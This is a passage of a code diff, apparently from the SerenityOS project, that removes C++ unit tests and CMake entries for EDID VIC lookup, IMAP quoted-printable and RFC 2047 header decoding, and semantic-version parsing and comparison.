for (unsigned vic_id = 0; vic_id <= 0xff; vic_id++) {
|
||||
auto* vic_def = EDID::VIC::find_details_by_vic_id((u8)vic_id);
|
||||
if (vic_def) {
|
||||
EXPECT((vic_id >= 1 && vic_id <= 127) || (vic_id >= 193 && vic_id <= 219));
|
||||
EXPECT(vic_def->vic_id == vic_id);
|
||||
} else {
|
||||
EXPECT(vic_id == 0 || (vic_id >= 128 && vic_id <= 192) || (vic_id >= 220));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,8 +0,0 @@
|
|||
set(TEST_SOURCES
|
||||
TestQuotedPrintable.cpp
|
||||
TestMessageHeaderEncoding.cpp
|
||||
)
|
||||
|
||||
foreach(source IN LISTS TEST_SOURCES)
|
||||
serenity_test("${source}" LibIMAP LIBS LibIMAP)
|
||||
endforeach()
|
|
@ -1,55 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Valtteri Koskivuori <vkoskiv@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/CharacterTypes.h>
|
||||
#include <LibIMAP/MessageHeaderEncoding.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
TEST_CASE(test_decode)
|
||||
{
|
||||
auto decode_equal = [](StringView input, StringView expected) {
|
||||
auto decoded = MUST(IMAP::decode_rfc2047_encoded_words(input));
|
||||
EXPECT_EQ(StringView(decoded), StringView(expected));
|
||||
};
|
||||
|
||||
// Underscores should end up as spaces
|
||||
decode_equal("=?utf-8?Q?Spaces_should_be_spaces_!?="sv, "Spaces should be spaces !"sv);
|
||||
|
||||
// RFC 2047 Section 8 "Examples", https://datatracker.ietf.org/doc/html/rfc2047#section-8
|
||||
|
||||
decode_equal("=?ISO-8859-1?Q?a?="sv, "a"sv);
|
||||
|
||||
decode_equal("=?ISO-8859-1?Q?a?= b"sv, "a b"sv);
|
||||
|
||||
// White space between adjacent 'encoded-word's is not displayed.
|
||||
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?="sv, "ab"sv);
|
||||
|
||||
// Even multiple SPACEs between 'encoded-word's are ignored for the purpose of display.
|
||||
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?="sv, "ab"sv);
|
||||
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-1?Q?b?= =?ISO-8859-1?Q?c?==?ISO-8859-1?Q?d?="sv, "abcd"sv);
|
||||
|
||||
// Any amount of linear-space-white between 'encoded-word's, even if it includes a CRLF followed by one or more SPACEs, is ignored for the purposes of display.
|
||||
decode_equal("=?utf-8?Q?a?=\r\n=?utf-8?Q?b?= \r\n=?utf-8?Q?c?=\r\n =?utf-8?Q?d?="sv, "abcd"sv);
|
||||
|
||||
// In order to cause a SPACE to be displayed within a portion of encoded text, the SPACE MUST be encoded as part of the 'encoded-word'.
|
||||
decode_equal("=?ISO-8859-1?Q?a_b?="sv, "a b"sv);
|
||||
|
||||
// In order to cause a SPACE to be displayed between two strings of encoded text, the SPACE MAY be encoded as part of one of the 'encoded-word's.
|
||||
decode_equal("=?ISO-8859-1?Q?a?= =?ISO-8859-2?Q?_b?="sv, "a b"sv);
|
||||
|
||||
// More examples from the RFC document, a nice mix of different charsets & encodings.
|
||||
auto long_input = "From: =?US-ASCII?Q?Keith_Moore?= <moore@cs.utk.edu>"
|
||||
"To: =?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@dkuug.dk>"
|
||||
"CC: =?ISO-8859-1?Q?Andr=E9?= Pirard <PIRARD@vm1.ulg.ac.be>"
|
||||
"Subject: =?ISO-8859-1?B?SWYgeW91IGNhbiByZWFkIHRoaXMgeW8=?="
|
||||
"=?ISO-8859-2?B?dSB1bmRlcnN0YW5kIHRoZSBleGFtcGxlLg==?="sv;
|
||||
|
||||
auto long_expected = "From: Keith Moore <moore@cs.utk.edu>"
|
||||
"To: Keld Jørn Simonsen <keld@dkuug.dk>"
|
||||
"CC: André Pirard <PIRARD@vm1.ulg.ac.be>"
|
||||
"Subject: If you can read this you understand the example."sv;
|
||||
decode_equal(long_input, long_expected);
|
||||
}
|
|
@ -1,62 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Luke Wilde <lukew@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/CharacterTypes.h>
|
||||
#include <LibIMAP/QuotedPrintable.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
TEST_CASE(test_decode)
|
||||
{
|
||||
auto decode_equal = [](StringView input, StringView expected) {
|
||||
auto decoded = MUST(IMAP::decode_quoted_printable(input));
|
||||
EXPECT(decoded.bytes() == expected.bytes());
|
||||
};
|
||||
|
||||
auto decode_equal_byte_buffer = [](StringView input, StringView expected) {
|
||||
auto decoded = MUST(IMAP::decode_quoted_printable(input));
|
||||
EXPECT(decoded.bytes() == expected.bytes());
|
||||
};
|
||||
|
||||
decode_equal("hello world"sv, "hello world"sv);
|
||||
decode_equal("=3D"sv, "="sv);
|
||||
decode_equal("hello=\r\n world"sv, "hello world"sv);
|
||||
decode_equal("=68=65=6C=6C=6F=20=\r\n=77=6F=72=6C=64"sv, "hello world"sv);
|
||||
|
||||
// Doesn't mistake hex sequences without a preceding '=' as an escape sequence.
|
||||
decode_equal("4A=4B=4C4D"sv, "4AKL4D"sv);
|
||||
|
||||
// Allows lowercase escape sequences.
|
||||
decode_equal("=4a=4b=4c=4d=4e=4f"sv, "JKLMNO"sv);
|
||||
|
||||
// Bytes for U+1F41E LADY BEETLE
|
||||
decode_equal_byte_buffer("=F0=9F=90=9E"sv, "\xF0\x9F\x90\x9E"sv);
|
||||
|
||||
// Illegal characters. If these aren't escaped, they are simply ignored.
|
||||
// Illegal characters are:
|
||||
// - ASCII control bytes that aren't tab, carriage return or new line
|
||||
// - Any byte above 0x7E
|
||||
StringBuilder illegal_character_builder;
|
||||
for (u16 byte = 0; byte <= 0xFF; ++byte) {
|
||||
if (byte > 0x7E || (is_ascii_control(byte) && byte != '\t' && byte != '\r' && byte != '\n'))
|
||||
illegal_character_builder.append(byte);
|
||||
}
|
||||
|
||||
auto illegal_character_decode = MUST(IMAP::decode_quoted_printable(illegal_character_builder.to_byte_string()));
|
||||
EXPECT(illegal_character_decode.is_empty());
|
||||
|
||||
// If an escape sequence is invalid the characters are output unaltered. Illegal characters are ignored as usual.
|
||||
decode_equal("="sv, "="sv);
|
||||
decode_equal("=Z"sv, "=Z"sv);
|
||||
decode_equal("=\x7F"sv, "="sv);
|
||||
decode_equal("=\x7F\x7F"sv, "="sv);
|
||||
decode_equal("=A\x7F"sv, "=A"sv);
|
||||
decode_equal("=A"sv, "=A"sv);
|
||||
decode_equal("=AZ"sv, "=AZ"sv);
|
||||
decode_equal("=\r"sv, "=\r"sv);
|
||||
decode_equal("=\r\r"sv, "=\r\r"sv);
|
||||
decode_equal("=\n\r"sv, "=\n\r"sv);
|
||||
decode_equal("=\rA"sv, "=\rA"sv);
|
||||
}
|
|
@ -1,8 +0,0 @@
|
|||
set(TEST_SOURCES
|
||||
TestFromStringView.cpp
|
||||
TestSemVer.cpp
|
||||
)
|
||||
|
||||
foreach(source IN LISTS TEST_SOURCES)
|
||||
serenity_test("${source}" LibSemVer LIBS LibSemVer)
|
||||
endforeach()
|
|
@ -1,103 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Gurkirat Singh <tbhaxor@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/StringView.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <LibSemVer/SemVer.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
TEST_CASE(parsing) // NOLINT(readability-function-cognitive-complexity)
|
||||
{
|
||||
EXPECT(!SemVer::is_valid("1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2"sv));
|
||||
EXPECT(!SemVer::is_valid("1.1.2+.123"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2.3-0123"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2.3-0123.0123"sv));
|
||||
EXPECT(!SemVer::is_valid("+invalid"sv));
|
||||
EXPECT(!SemVer::is_valid("-invalid"sv));
|
||||
EXPECT(!SemVer::is_valid("-invalid+invalid"sv));
|
||||
EXPECT(!SemVer::is_valid("-invalid.01"sv));
|
||||
EXPECT(!SemVer::is_valid("1 .2.3-this.is.invalid"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2.3-this .is. also .invalid"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2.3"sv, ' '));
|
||||
EXPECT(!SemVer::is_valid("alpha"sv));
|
||||
EXPECT(!SemVer::is_valid("alpha.beta"sv));
|
||||
EXPECT(!SemVer::is_valid("alpha.beta.1"sv));
|
||||
EXPECT(!SemVer::is_valid("alpha.1"sv));
|
||||
EXPECT(!SemVer::is_valid("alpha+beta"sv));
|
||||
EXPECT(!SemVer::is_valid("alpha_beta"sv));
|
||||
EXPECT(!SemVer::is_valid("alpha."sv));
|
||||
EXPECT(!SemVer::is_valid("alpha.."sv));
|
||||
EXPECT(!SemVer::is_valid("beta"sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha_beta"sv));
|
||||
EXPECT(!SemVer::is_valid("-alpha."sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha.."sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha..1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha...1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha....1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha.....1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha......1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.0.0-alpha.......1"sv));
|
||||
EXPECT(!SemVer::is_valid("01.1.1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.01.1"sv));
|
||||
EXPECT(!SemVer::is_valid("1.1.01"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2.3.DEV"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2-SNAPSHOT"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2.31.2.3----RC-SNAPSHOT.12.09.1--..12+788"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2-RC-SNAPSHOT"sv));
|
||||
EXPECT(!SemVer::is_valid("-1.0.3-gamma+b7718"sv));
|
||||
EXPECT(!SemVer::is_valid("+justmeta"sv));
|
||||
EXPECT(!SemVer::is_valid("9.8.7+meta+meta"sv));
|
||||
EXPECT(!SemVer::is_valid("9.8.7-whatever+meta+meta"sv));
|
||||
// Because of size_t overflow, it won't work work version such as 99999999999999999999999
|
||||
EXPECT(!SemVer::is_valid("99999999999999999999999.999999999999999999.99999999999999999"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.4"sv));
|
||||
EXPECT(SemVer::is_valid("1.2.3"sv));
|
||||
EXPECT(SemVer::is_valid("10.20.30"sv));
|
||||
EXPECT(SemVer::is_valid("1.1.2-prerelease+meta"sv));
|
||||
EXPECT(SemVer::is_valid("1.1.2+meta"sv));
|
||||
EXPECT(SemVer::is_valid("1.1.2+meta-valid"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-beta"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha.beta"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha.beta.1"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha.1"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha0.valid"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha.0valid"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-rc.1+build.1"sv));
|
||||
EXPECT(SemVer::is_valid("2.0.0-rc.1+build.123"sv));
|
||||
EXPECT(SemVer::is_valid("1.2.3-beta"sv));
|
||||
EXPECT(SemVer::is_valid("10.2.3-DEV-SNAPSHOT"sv));
|
||||
EXPECT(SemVer::is_valid("1.2.3-SNAPSHOT-123"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0"sv));
|
||||
EXPECT(SemVer::is_valid("2.0.0"sv));
|
||||
EXPECT(SemVer::is_valid("1.1.7"sv));
|
||||
EXPECT(SemVer::is_valid("2.0.0+build.1848"sv));
|
||||
EXPECT(SemVer::is_valid("2.0.1-alpha.1227"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha+beta"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay"sv));
|
||||
EXPECT(SemVer::is_valid("1.2.3----RC-SNAPSHOT.12.9.1--.12+788"sv));
|
||||
EXPECT(SemVer::is_valid("1.2.3----R-S.12.9.1--.12+meta"sv));
|
||||
EXPECT(SemVer::is_valid("1.2.3----RC-SNAPSHOT.12.9.1--.12"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0+0.build.1-rc.10000aaa-kk-0.1"sv));
|
||||
EXPECT(SemVer::is_valid("1.0.0-0A.is.legal"sv));
|
||||
}
|
||||
|
||||
TEST_CASE(parse_with_different_mmp_sep)
|
||||
{
|
||||
// insufficient separators
|
||||
EXPECT(!SemVer::is_valid("1.2-3"sv));
|
||||
EXPECT(!SemVer::is_valid("1.2-3"sv, '-'));
|
||||
|
||||
// conflicting separators
|
||||
EXPECT(!SemVer::is_valid("11213"sv, '1'));
|
||||
|
||||
// sufficient separators
|
||||
EXPECT(SemVer::is_valid("1.2.3"sv, '.'));
|
||||
EXPECT(SemVer::is_valid("1-2-3"sv, '-'));
|
||||
EXPECT(SemVer::is_valid("1-3-3-pre+build"sv, '-'));
|
||||
}
|
|
@ -1,247 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Gurkirat Singh <tbhaxor@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/StringView.h>
|
||||
#include <AK/Vector.h>
|
||||
#include <LibSemVer/SemVer.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#define GET_SEMVER(expression) \
|
||||
({ \
|
||||
auto r = (SemVer::from_string_view(expression)); \
|
||||
EXPECT(!r.is_error()); \
|
||||
r.value(); \
|
||||
})
|
||||
|
||||
#define GET_STRING(expression) \
|
||||
({ \
|
||||
auto r = (String::from_utf8(expression)); \
|
||||
EXPECT(!r.is_error()); \
|
||||
r.value(); \
|
||||
})
|
||||
|
||||
#define IS_SAME_SCENARIO(x, y, op) \
|
||||
GET_SEMVER(x).is_same(GET_SEMVER(y), op)
|
||||
|
||||
#define IS_GREATER_THAN_SCENARIO(x, y) \
|
||||
GET_SEMVER(x).is_greater_than(GET_SEMVER(y))
|
||||
|
||||
#define IS_LESSER_THAN_SCENARIO(x, y) \
|
||||
GET_SEMVER(x).is_lesser_than(GET_SEMVER(y))
|
||||
|
||||
TEST_CASE(to_string) // NOLINT(readability-function-cognitive-complexity, readability-function-size)
|
||||
{
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3"sv).to_string(), GET_STRING("1.2.3"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3"sv).to_string(), GET_STRING("1.2.3"sv));
|
||||
EXPECT_EQ(GET_SEMVER("10.20.30"sv).to_string(), GET_STRING("10.20.30"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.1.2-prerelease+meta"sv).to_string(), GET_STRING("1.1.2-prerelease+meta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.1.2+meta"sv).to_string(), GET_STRING("1.1.2+meta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.1.2+meta-valid"sv).to_string(), GET_STRING("1.1.2+meta-valid"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha"sv).to_string(), GET_STRING("1.0.0-alpha"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-beta"sv).to_string(), GET_STRING("1.0.0-beta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.beta"sv).to_string(), GET_STRING("1.0.0-alpha.beta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.beta.1"sv).to_string(), GET_STRING("1.0.0-alpha.beta.1"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.1"sv).to_string(), GET_STRING("1.0.0-alpha.1"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha0.valid"sv).to_string(), GET_STRING("1.0.0-alpha0.valid"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha.0valid"sv).to_string(), GET_STRING("1.0.0-alpha.0valid"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-rc.1+build.1"sv).to_string(), GET_STRING("1.0.0-rc.1+build.1"sv));
|
||||
EXPECT_EQ(GET_SEMVER("2.0.0-rc.1+build.123"sv).to_string(), GET_STRING("2.0.0-rc.1+build.123"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3-beta"sv).to_string(), GET_STRING("1.2.3-beta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("10.2.3-DEV-SNAPSHOT"sv).to_string(), GET_STRING("10.2.3-DEV-SNAPSHOT"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3-SNAPSHOT-123"sv).to_string(), GET_STRING("1.2.3-SNAPSHOT-123"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0"sv).to_string(), GET_STRING("1.0.0"sv));
|
||||
EXPECT_EQ(GET_SEMVER("2.0.0"sv).to_string(), GET_STRING("2.0.0"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.1.7"sv).to_string(), GET_STRING("1.1.7"sv));
|
||||
EXPECT_EQ(GET_SEMVER("2.0.0+build.1848"sv).to_string(), GET_STRING("2.0.0+build.1848"sv));
|
||||
EXPECT_EQ(GET_SEMVER("2.0.1-alpha.1227"sv).to_string(), GET_STRING("2.0.1-alpha.1227"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha+beta"sv).to_string(), GET_STRING("1.0.0-alpha+beta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay"sv).to_string(), GET_STRING("1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3----RC-SNAPSHOT.12.9.1--.12+788"sv).to_string(), GET_STRING("1.2.3----RC-SNAPSHOT.12.9.1--.12+788"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3----RC-SNAPSHOT.12.9.1--"sv).to_string(), GET_STRING("1.2.3----RC-SNAPSHOT.12.9.1--"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3----R-S.12.9.1--.12+meta"sv).to_string(), GET_STRING("1.2.3----R-S.12.9.1--.12+meta"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.2.3----RC-SNAPSHOT.12.9.1--.12"sv).to_string(), GET_STRING("1.2.3----RC-SNAPSHOT.12.9.1--.12"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0+0.build.1-rc.10000aaa-kk-0.1"sv).to_string(), GET_STRING("1.0.0+0.build.1-rc.10000aaa-kk-0.1"sv));
|
||||
EXPECT_EQ(GET_SEMVER("1.0.0-0A.is.legal"sv).to_string(), GET_STRING("1.0.0-0A.is.legal"sv));
|
||||
}
|
||||
|
||||
TEST_CASE(normal_bump) // NOLINT(readability-function-cognitive-complexity)
|
||||
{
|
||||
auto version = GET_SEMVER("1.1.2-prerelease+meta"sv);
|
||||
|
||||
// normal bumps
|
||||
auto major_bump = version.bump(SemVer::BumpType::Major);
|
||||
EXPECT_EQ(major_bump.major(), version.major() + 1);
|
||||
EXPECT_EQ(major_bump.minor(), 0ul);
|
||||
EXPECT_EQ(major_bump.patch(), 0ul);
|
||||
EXPECT(major_bump.suffix().is_empty());
|
||||
|
||||
auto minor_bump = version.bump(SemVer::BumpType::Minor);
|
||||
EXPECT_EQ(minor_bump.major(), version.major());
|
||||
EXPECT_EQ(minor_bump.minor(), version.minor() + 1);
|
||||
EXPECT_EQ(minor_bump.patch(), 0ul);
|
||||
EXPECT(minor_bump.suffix().is_empty());
|
||||
|
||||
auto patch_bump = version.bump(SemVer::BumpType::Patch);
|
||||
EXPECT_EQ(patch_bump.major(), version.major());
|
||||
EXPECT_EQ(patch_bump.minor(), version.minor());
|
||||
EXPECT_EQ(patch_bump.patch(), version.patch() + 1);
|
||||
EXPECT(minor_bump.suffix().is_empty());
|
||||
}
|
||||
|
||||
TEST_CASE(prerelease_bump_increment_numeric)
|
||||
{
|
||||
auto version = GET_SEMVER("1.1.2-0"sv);
|
||||
|
||||
auto prerelease_bump = version.bump(SemVer::BumpType::Prerelease);
|
||||
EXPECT_EQ(prerelease_bump.major(), version.major());
|
||||
EXPECT_EQ(prerelease_bump.minor(), version.minor());
|
||||
EXPECT_EQ(prerelease_bump.patch(), version.patch());
|
||||
EXPECT_NE(prerelease_bump.prerelease(), version.prerelease());
|
||||
EXPECT(prerelease_bump.build_metadata().is_empty());
|
||||
|
||||
auto version_prerelease_parts = version.prerelease_identifiers();
|
||||
auto bumped_prerelease_parts = prerelease_bump.prerelease_identifiers();
|
||||
EXPECT_EQ(bumped_prerelease_parts.size(), version_prerelease_parts.size());
|
||||
EXPECT_EQ(bumped_prerelease_parts[0], "1"_string);
|
||||
}
|
||||
|
||||
TEST_CASE(prerelease_bump_rightmost_numeric_part)
|
||||
{
|
||||
auto version = GET_SEMVER("1.1.2-a.1.0.c"sv);
|
||||
|
||||
auto prerelease_bump = version.bump(SemVer::BumpType::Prerelease);
|
||||
EXPECT_EQ(prerelease_bump.major(), version.major());
|
||||
EXPECT_EQ(prerelease_bump.minor(), version.minor());
|
||||
EXPECT_EQ(prerelease_bump.patch(), version.patch());
|
||||
EXPECT_NE(prerelease_bump.prerelease(), version.prerelease());
|
||||
EXPECT(prerelease_bump.build_metadata().is_empty());
|
||||
|
||||
auto version_prerelease_parts = version.prerelease_identifiers();
|
||||
auto bumped_prerelease_parts = prerelease_bump.prerelease_identifiers();
|
||||
EXPECT_EQ(bumped_prerelease_parts.size(), version_prerelease_parts.size());
|
||||
EXPECT_EQ(bumped_prerelease_parts[2], "1"_string);
|
||||
}
|
||||
|
||||
TEST_CASE(prerelease_bump_add_zero_if_no_numeric)
|
||||
{
|
||||
auto version = GET_SEMVER("1.1.2-only.strings"sv);
|
||||
|
||||
auto prerelease_bump = version.bump(SemVer::BumpType::Prerelease);
|
||||
EXPECT_EQ(prerelease_bump.major(), version.major());
|
||||
EXPECT_EQ(prerelease_bump.minor(), version.minor());
|
||||
EXPECT_EQ(prerelease_bump.patch(), version.patch());
|
||||
EXPECT_NE(prerelease_bump.prerelease(), version.prerelease());
|
||||
EXPECT(prerelease_bump.build_metadata().is_empty());
|
||||
|
||||
auto version_prerelease_parts = version.prerelease_identifiers();
|
||||
auto bumped_prerelease_parts = prerelease_bump.prerelease_identifiers();
|
||||
EXPECT(bumped_prerelease_parts.size() > version_prerelease_parts.size());
|
||||
EXPECT_EQ(bumped_prerelease_parts[2], "0"_string);
|
||||
}
|
||||
|
||||
TEST_CASE(is_same) // NOLINT(readability-function-cognitive-complexity)
|
||||
{
|
||||
// exact match
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.1.2-prerelease+meta"sv, SemVer::CompareType::Exact));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.1.3-prerelease+meta"sv, SemVer::CompareType::Exact));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.2.2-prerelease+meta"sv, SemVer::CompareType::Exact));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "2.1.2-prerelease+meta"sv, SemVer::CompareType::Exact));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2-prerelease+meta"sv, "1.1.3-someother"sv, SemVer::CompareType::Exact));
|
||||
// major part match
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.2"sv, SemVer::CompareType::Major));
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Major));
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.3"sv, SemVer::CompareType::Major));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Major));
|
||||
// minor part match
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.2"sv, SemVer::CompareType::Minor));
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.3"sv, SemVer::CompareType::Minor));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Minor));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Minor));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.2.2"sv, SemVer::CompareType::Minor));
|
||||
// patch part match
|
||||
EXPECT(IS_SAME_SCENARIO("1.1.2"sv, "1.1.2"sv, SemVer::CompareType::Patch));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.1.3"sv, SemVer::CompareType::Patch));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Patch));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Patch));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "1.2.2"sv, SemVer::CompareType::Patch));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.1.2"sv, SemVer::CompareType::Patch));
|
||||
EXPECT(!IS_SAME_SCENARIO("1.1.2"sv, "2.2.2"sv, SemVer::CompareType::Patch));
|
||||
}
|
||||
|
||||
TEST_CASE(is_greater_than) // NOLINT(readability-function-cognitive-complexity)
|
||||
{
|
||||
// Just normal versions
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.1.3"sv, "1.1.2"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.2.2"sv, "1.1.2"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("2.1.2"sv, "1.1.2"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("2.1.3"sv, "1.1.2"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.2.3"sv, "1.1.2"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.2.2"sv, "1.1.2"sv));
|
||||
EXPECT(!IS_GREATER_THAN_SCENARIO("1.1.2"sv, "1.1.2"sv));
|
||||
|
||||
// Basic, imbalanced prereleased testing
|
||||
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-alpha"sv, "1.0.0-alpha"sv));
|
||||
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-alpha"sv, "1.0.0"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0"sv, "1.0.0-0"sv));
|
||||
|
||||
// Both versions have more than one identifiers
|
||||
// 1. All numeric
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.1.2"sv, "1.0.0-0.1.1"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.2.0"sv, "1.0.0-0.1.2"sv));
|
||||
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-0.1.2"sv, "1.0.0-0.1.2"sv));
|
||||
|
||||
// 2. For non-numeric, lexical compare
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-beta"sv, "1.0.0-alpha"sv));
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.beta"sv, "1.0.0-0.alpha"sv));
|
||||
|
||||
// 3. Either one is numeric, but not both, then numeric given low precedence
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-0.alpha"sv, "1.0.0-0.0"sv));
|
||||
EXPECT(!IS_GREATER_THAN_SCENARIO("1.0.0-0.0"sv, "1.0.0-0.alpha"sv));
|
||||
|
||||
// 4. Prefix identifiers are same, larger has high precedence
|
||||
EXPECT(IS_GREATER_THAN_SCENARIO("1.0.0-alpha.beta.gamma"sv, "1.0.0-alpha"sv));
|
||||
}
|
||||
|
||||
TEST_CASE(is_lesser_than) // NOLINT(readability-function-cognitive-complexity)
|
||||
{
|
||||
// This function depends on is_greater_than, so basic testing is OK
|
||||
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.1.3"sv));
|
||||
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.2.2"sv));
|
||||
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "2.1.2"sv));
|
||||
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "2.1.3"sv));
|
||||
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.2.3"sv));
|
||||
EXPECT(IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.2.2"sv));
|
||||
EXPECT(!IS_LESSER_THAN_SCENARIO("1.1.2"sv, "1.1.2"sv));
|
||||
}
|
||||
|
||||
TEST_CASE(satisfies) // NOLINT(readability-function-cognitive-complexity)
|
||||
